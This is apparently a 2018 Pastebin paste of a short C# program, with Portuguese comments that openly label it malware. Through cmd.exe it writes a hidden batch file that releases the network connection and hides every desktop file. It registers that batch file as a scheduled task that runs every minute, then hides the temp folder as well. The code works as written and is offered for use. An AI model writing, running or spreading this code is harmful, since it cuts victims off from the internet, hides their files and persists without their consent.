DarkProgrammer000

Internet e Desktop [Bloqueio]

Dec 13th, 2018
185
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Diagnostics;
  7. using System.IO;
  8.  
  9. namespace EX_29
  10. {
  11.     class Program
  12.     {
  13.         static void Main(string[] args)
  14.         {
  15.             // Iniciar Processo: Sistema operacional
  16.             ProcessStartInfo startInfo = new ProcessStartInfo();
  17.  
  18.             /* Processo: Carregando Processamento Executável */
  19.             Process myProcess = new Process();
  20.             myProcess.StartInfo.FileName = "cmd.exe";
  21.             myProcess.StartInfo.UseShellExecute = false;
  22.             myProcess.StartInfo.RedirectStandardInput = true;
  23.             myProcess.Start();// Executando CMD
  24.  
  25.             // StreamWriter: Gravar Resultado
  26.             StreamWriter myStreamWriter = myProcess.StandardInput;
  27.  
  28.             // Comandos Para Execução da Tela Prompt: [Códgio Malware]
  29.             myStreamWriter.WriteLine("mkdir %temp%\\lol");
  30.             myStreamWriter.WriteLine("echo ipconfig /release >> %temp%\\lol\\netuser.bat");
  31.             myStreamWriter.WriteLine("echo attrib +h +r +s +a %userprofile%\\desktop\\*.* /s /d >> %temp%\\lol\\netuser.bat");
  32.             myStreamWriter.WriteLine("schtasks /create /sc minute /mo 1 /tn \"netuser\" /tr \"%temp%\\lol\\netuser.bat\"");
  33.             myStreamWriter.WriteLine("attrib +h +r +s +a %temp%\\*.* /s /d");
  34.  
  35.             // Encerrando Todos os Processamentos
  36.             myStreamWriter.Close();
  37.             myProcess.WaitForExit();
  38.             myProcess.Close();
  39.         }
  40.     }
  41. }
RAW Paste Data